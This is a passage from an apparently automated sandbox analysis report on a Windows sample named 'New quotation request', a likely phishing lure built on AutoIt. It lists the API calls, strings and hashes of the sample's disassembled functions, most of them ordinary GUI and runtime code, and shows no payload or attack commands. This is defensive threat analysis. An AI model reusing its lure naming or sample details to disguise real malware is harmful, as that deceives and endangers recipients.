                                                                    • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 003277BB
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                                    • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                                    • API String ID: 2910397461-517079104
                                                                    • Opcode ID: fca24822a71fce80bc5c5d5159b01c214a9989a847982036ed78a6de6a316068
                                                                    • Instruction ID: 9682c3bd4f4818fc2a8140b20d69da9e1c9aac810f2400ff67b9a97cebe3beb2
                                                                    • Opcode Fuzzy Hash: fca24822a71fce80bc5c5d5159b01c214a9989a847982036ed78a6de6a316068
                                                                    • Instruction Fuzzy Hash: 04A184B1A10615BFEB15DBA4DC8AFAEBB7DEB05710F108114FA14A72E1C7B0AD40CB60
                                                                    Function 0031AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0031AD1E
                                                                    • GetDriveTypeW.KERNEL32(?,0033FAC0,?,\\.\,0033F910), ref: 0031ADFB
                                                                    • SetErrorMode.KERNEL32(00000000,0033FAC0,?,\\.\,0033F910), ref: 0031AF59
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$DriveType
                                                                    • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                    • API String ID: 2907320926-4222207086
                                                                    • Opcode ID: 77ece4d477ccbe5b5605c02a716f9b335c0cc3f5ed080c2518dc60dc702cf760
                                                                    • Instruction ID: 9902a431d96a7af0046d5ccc70534120b7db441fc0d067162adbb2c5175ae01e
                                                                    • Opcode Fuzzy Hash: 77ece4d477ccbe5b5605c02a716f9b335c0cc3f5ed080c2518dc60dc702cf760
                                                                    • Instruction Fuzzy Hash: 4251B4B064AA059B8B1BEB50CD92CFD7364EF4C702B208157E807A76D4CA30DD96DB52
                                                                    Function 002B68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __wcsnicmp
                                                                    • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                    • API String ID: 1038674560-86951937
                                                                    • Opcode ID: 1442bac6e87db58be3a775b5b892d19184adc87f518154a3a586ffa2774552fe
                                                                    • Instruction ID: 87e24167dbfe78e1703c5fd8f42db45d0bab70a28854911c0ad2f9107257e725
                                                                    • Opcode Fuzzy Hash: 1442bac6e87db58be3a775b5b892d19184adc87f518154a3a586ffa2774552fe
                                                                    • Instruction Fuzzy Hash: A2815CB06606066ADF21AF61DC57FFF7768AF04780F444025F805AA1D2EBB4DD35CAA1
                                                                    Function 0033A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColor.USER32(00000012), ref: 0033A903
                                                                    • SetTextColor.GDI32(?,?), ref: 0033A907
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 0033A91D
                                                                    • GetSysColor.USER32(0000000F), ref: 0033A928
                                                                    • CreateSolidBrush.GDI32(?), ref: 0033A92D
                                                                    • GetSysColor.USER32(00000011), ref: 0033A945
                                                                    • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0033A953
                                                                    • SelectObject.GDI32(?,00000000), ref: 0033A964
                                                                    • SetBkColor.GDI32(?,00000000), ref: 0033A96D
                                                                    • SelectObject.GDI32(?,?), ref: 0033A97A
                                                                    • InflateRect.USER32(?,000000FF,000000FF), ref: 0033A999
                                                                    • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0033A9B0
                                                                    • GetWindowLongW.USER32(00000000,000000F0), ref: 0033A9C5
                                                                    • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0033A9ED
                                                                    • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0033AA14
                                                                    • InflateRect.USER32(?,000000FD,000000FD), ref: 0033AA32
                                                                    • DrawFocusRect.USER32(?,?), ref: 0033AA3D
                                                                    • GetSysColor.USER32(00000011), ref: 0033AA4B
                                                                    • SetTextColor.GDI32(?,00000000), ref: 0033AA53
                                                                    • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0033AA67
                                                                    • SelectObject.GDI32(?,0033A5FA), ref: 0033AA7E
                                                                    • DeleteObject.GDI32(?), ref: 0033AA89
                                                                    • SelectObject.GDI32(?,?), ref: 0033AA8F
                                                                    • DeleteObject.GDI32(?), ref: 0033AA94
                                                                    • SetTextColor.GDI32(?,?), ref: 0033AA9A
                                                                    • SetBkColor.GDI32(?,?), ref: 0033AAA4
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                    • String ID:
                                                                    • API String ID: 1996641542-0
                                                                    • Opcode ID: 350d714701b4ea8ce4d6c880f132240a6f022f0774d3025b689669cbf2869b2c
                                                                    • Instruction ID: 4aa0d132de92e6f1e833e45c85cb46cfe43b5f545541eb7f5ecaadf3ed48a6b8
                                                                    • Opcode Fuzzy Hash: 350d714701b4ea8ce4d6c880f132240a6f022f0774d3025b689669cbf2869b2c
                                                                    • Instruction Fuzzy Hash: 6E512B71D00608FFDB129FA4DC89EAEBBB9EF08320F514625F911AB2A1D7759940DF90
                                                                    Function 003389D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00338AC1
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00338AD2
                                                                    • CharNextW.USER32(0000014E), ref: 00338B01
                                                                    • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00338B42
                                                                    • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00338B58
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00338B69
                                                                    • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00338B86
                                                                    • SetWindowTextW.USER32(?,0000014E), ref: 00338BD8
                                                                    • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00338BEE
                                                                    • SendMessageW.USER32(?,00001002,00000000,?), ref: 00338C1F
                                                                    • _memset.LIBCMT ref: 00338C44
                                                                    • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00338C8D
                                                                    • _memset.LIBCMT ref: 00338CEC
                                                                    • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00338D16
                                                                    • SendMessageW.USER32(?,00001074,?,00000001), ref: 00338D6E
                                                                    • SendMessageW.USER32(?,0000133D,?,?), ref: 00338E1B
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 00338E3D
                                                                    • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00338E87
                                                                    • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00338EB4
                                                                    • DrawMenuBar.USER32(?), ref: 00338EC3
                                                                    • SetWindowTextW.USER32(?,0000014E), ref: 00338EEB
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                                    • String ID: 0
                                                                    • API String ID: 1073566785-4108050209
                                                                    • Opcode ID: 14086a3202a3d43850d10ec98890ed45f4ddc7cd877611e15e17de7ff18935f1
                                                                    • Instruction ID: deeb95afc373147495917652ac4e324099f36525f9fa6b4201535ce7d87964c2
                                                                    • Opcode Fuzzy Hash: 14086a3202a3d43850d10ec98890ed45f4ddc7cd877611e15e17de7ff18935f1
                                                                    • Instruction Fuzzy Hash: ADE15EB1900309AFDF229F64CCC5EEEBBB9EF05710F118156F915AA290DB748A85DF60
                                                                    Function 0033488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCursorPos.USER32(?), ref: 003349CA
                                                                    • GetDesktopWindow.USER32 ref: 003349DF
                                                                    • GetWindowRect.USER32(00000000), ref: 003349E6
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00334A48
                                                                    • DestroyWindow.USER32(?), ref: 00334A74
                                                                    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00334A9D
                                                                    • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00334ABB
                                                                    • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00334AE1
                                                                    • SendMessageW.USER32(?,00000421,?,?), ref: 00334AF6
                                                                    • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00334B09
                                                                    • IsWindowVisible.USER32(?), ref: 00334B29
                                                                    • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00334B44
                                                                    • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00334B58
                                                                    • GetWindowRect.USER32(?,?), ref: 00334B70
                                                                    • MonitorFromPoint.USER32(?,?,00000002), ref: 00334B96
                                                                    • GetMonitorInfoW.USER32(00000000,?), ref: 00334BB0
                                                                    • CopyRect.USER32(?,?), ref: 00334BC7
                                                                    • SendMessageW.USER32(?,00000412,00000000), ref: 00334C32
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                    • String ID: ($0$tooltips_class32
                                                                    • API String ID: 698492251-4156429822
                                                                    • Opcode ID: 47ba2fd088c6bbd3f394760a73d11f25636e3d4691307463980c153159af25a6
                                                                    • Instruction ID: b5a98523a172e8b490fdedf613bdf3ed11803d7609422a444728e52255f4d7fb
                                                                    • Opcode Fuzzy Hash: 47ba2fd088c6bbd3f394760a73d11f25636e3d4691307463980c153159af25a6
                                                                    • Instruction Fuzzy Hash: 75B19A70608340AFDB05DF64C885B6ABBE8FF88344F008A1DF9999B2A1D771EC45CB95
                                                                    Function 002B27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002B28BC
                                                                    • GetSystemMetrics.USER32(00000007), ref: 002B28C4
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002B28EF
                                                                    • GetSystemMetrics.USER32(00000008), ref: 002B28F7
                                                                    • GetSystemMetrics.USER32(00000004), ref: 002B291C
                                                                    • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 002B2939
                                                                    • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 002B2949
                                                                    • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 002B297C
                                                                    • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 002B2990
                                                                    • GetClientRect.USER32(00000000,000000FF), ref: 002B29AE
                                                                    • GetStockObject.GDI32(00000011), ref: 002B29CA
                                                                    • SendMessageW.USER32(00000000,00000030,00000000), ref: 002B29D5
                                                                      • Part of subcall function 002B2344: GetCursorPos.USER32(?), ref: 002B2357
                                                                      • Part of subcall function 002B2344: ScreenToClient.USER32(003757B0,?), ref: 002B2374
                                                                      • Part of subcall function 002B2344: GetAsyncKeyState.USER32(00000001), ref: 002B2399
                                                                      • Part of subcall function 002B2344: GetAsyncKeyState.USER32(00000002), ref: 002B23A7
                                                                    • SetTimer.USER32(00000000,00000000,00000028,002B1256), ref: 002B29FC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                    • String ID: AutoIt v3 GUI
                                                                    • API String ID: 1458621304-248962490
                                                                    • Opcode ID: 9339203f496a43f58e908da1a216ae91f5e3f5ca0db8bc94535e2fb71c23f5a5
                                                                    • Instruction ID: f60d1caf5bada9250eddb81529b4a19e4052b73a6e9dc85c4df4a120e0d3cfb7
                                                                    • Opcode Fuzzy Hash: 9339203f496a43f58e908da1a216ae91f5e3f5ca0db8bc94535e2fb71c23f5a5
                                                                    • Instruction Fuzzy Hash: 4CB18F71A1020AEFDB15DFA8CC85BED7BB8FB08351F504129FA19A72A0DB749861CF50
                                                                    Function 002EA8CB Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 211COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
                                                                    • String ID: {n-${n-
                                                                    • API String ID: 884005220-2985917364
                                                                    • Opcode ID: 26da7d9c6ee6967ef0884db508f95667212e53d66b7e50e0815260e19618f044
                                                                    • Instruction ID: 06dabac4af64d2497771f2643a959d1846636dbcf1c4327ce5cce6f45ad83558
                                                                    • Opcode Fuzzy Hash: 26da7d9c6ee6967ef0884db508f95667212e53d66b7e50e0815260e19618f044
                                                                    • Instruction Fuzzy Hash: 23613972960382AFDB21AF26DD0176977B8EF41320FA14126E805972D2DB74ED60CF63
                                                                    Function 0030A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetClassNameW.USER32(?,?,00000100), ref: 0030A47A
                                                                    • __swprintf.LIBCMT ref: 0030A51B
                                                                    • _wcscmp.LIBCMT ref: 0030A52E
                                                                    • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0030A583
                                                                    • _wcscmp.LIBCMT ref: 0030A5BF
                                                                    • GetClassNameW.USER32(?,?,00000400), ref: 0030A5F6
                                                                    • GetDlgCtrlID.USER32(?), ref: 0030A648
                                                                    • GetWindowRect.USER32(?,?), ref: 0030A67E
                                                                    • GetParent.USER32(?), ref: 0030A69C
                                                                    • ScreenToClient.USER32(00000000), ref: 0030A6A3
                                                                    • GetClassNameW.USER32(?,?,00000100), ref: 0030A71D
                                                                    • _wcscmp.LIBCMT ref: 0030A731
                                                                    • GetWindowTextW.USER32(?,?,00000400), ref: 0030A757
                                                                    • _wcscmp.LIBCMT ref: 0030A76B
                                                                      • Part of subcall function 002D362C: _iswctype.LIBCMT ref: 002D3634
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                                                    • String ID: %s%u
                                                                    • API String ID: 3744389584-679674701
                                                                    • Opcode ID: 6067c4c36cee3620b8a3e17e70b8ec447738e404dd95e6c08e2ea1765bc4cffe
                                                                    • Instruction ID: c80cd3db7f2c49a273a28630ab99ae0c2fba484cd6afefd53f0a2cc3cedff2fe
                                                                    • Opcode Fuzzy Hash: 6067c4c36cee3620b8a3e17e70b8ec447738e404dd95e6c08e2ea1765bc4cffe
                                                                    • Instruction Fuzzy Hash: A4A10131205B06AFC71ADF60D894FEAB7E8FF44754F008629F999D2190DB30E955CB92
                                                                    Function 0030AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetClassNameW.USER32(00000008,?,00000400), ref: 0030AF18
                                                                    • _wcscmp.LIBCMT ref: 0030AF29
                                                                    • GetWindowTextW.USER32(00000001,?,00000400), ref: 0030AF51
                                                                    • CharUpperBuffW.USER32(?,00000000), ref: 0030AF6E
                                                                    • _wcscmp.LIBCMT ref: 0030AF8C
                                                                    • _wcsstr.LIBCMT ref: 0030AF9D
                                                                    • GetClassNameW.USER32(00000018,?,00000400), ref: 0030AFD5
                                                                    • _wcscmp.LIBCMT ref: 0030AFE5
                                                                    • GetWindowTextW.USER32(00000002,?,00000400), ref: 0030B00C
                                                                    • GetClassNameW.USER32(00000018,?,00000400), ref: 0030B055
                                                                    • _wcscmp.LIBCMT ref: 0030B065
                                                                    • GetClassNameW.USER32(00000010,?,00000400), ref: 0030B08D
                                                                    • GetWindowRect.USER32(00000004,?), ref: 0030B0F6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                                    • String ID: @$ThumbnailClass
                                                                    • API String ID: 1788623398-1539354611
                                                                    • Opcode ID: 3bfc30a145d81c68cabaf523e75f5421ab94128816049fe0ac061bcec0016300
                                                                    • Instruction ID: c1707f76b08e0862bd7356b0f66dcb9c036275441a0c8939dbcbd1d7ad7637c0
                                                                    • Opcode Fuzzy Hash: 3bfc30a145d81c68cabaf523e75f5421ab94128816049fe0ac061bcec0016300
                                                                    • Instruction Fuzzy Hash: CA81BF711093069FDB06DF14D8A1FAABBE8EF44354F04846AFD859A0D5DB30DD89CBA2
                                                                    Function 0033C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • DragQueryPoint.SHELL32(?,?), ref: 0033C627
                                                                      • Part of subcall function 0033AB37: ClientToScreen.USER32(?,?), ref: 0033AB60
                                                                      • Part of subcall function 0033AB37: GetWindowRect.USER32(?,?), ref: 0033ABD6
                                                                      • Part of subcall function 0033AB37: PtInRect.USER32(?,?,0033C014), ref: 0033ABE6
                                                                    • SendMessageW.USER32(?,000000B0,?,?), ref: 0033C690
                                                                    • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0033C69B
                                                                    • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0033C6BE
                                                                    • _wcscat.LIBCMT ref: 0033C6EE
                                                                    • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0033C705
                                                                    • SendMessageW.USER32(?,000000B0,?,?), ref: 0033C71E
                                                                    • SendMessageW.USER32(?,000000B1,?,?), ref: 0033C735
                                                                    • SendMessageW.USER32(?,000000B1,?,?), ref: 0033C757
                                                                    • DragFinish.SHELL32(?), ref: 0033C75E
                                                                    • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0033C851
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                                    • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pb7
                                                                    • API String ID: 169749273-563541782
                                                                    • Opcode ID: 8eeed1d3ead24d0649e24a0092c04a55d1de7f11e70bce502c65f971fbca4427
                                                                    • Instruction ID: 4fd256950431f319844973d1edbc728ec0981dbdef70a333f1c554e06f20afbe
                                                                    • Opcode Fuzzy Hash: 8eeed1d3ead24d0649e24a0092c04a55d1de7f11e70bce502c65f971fbca4427
                                                                    • Instruction Fuzzy Hash: C3617B71508301AFC702EF64CC85DAFBBF8EF89750F40492EF595961A1DB709A49CB52
                                                                    Function 0030ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
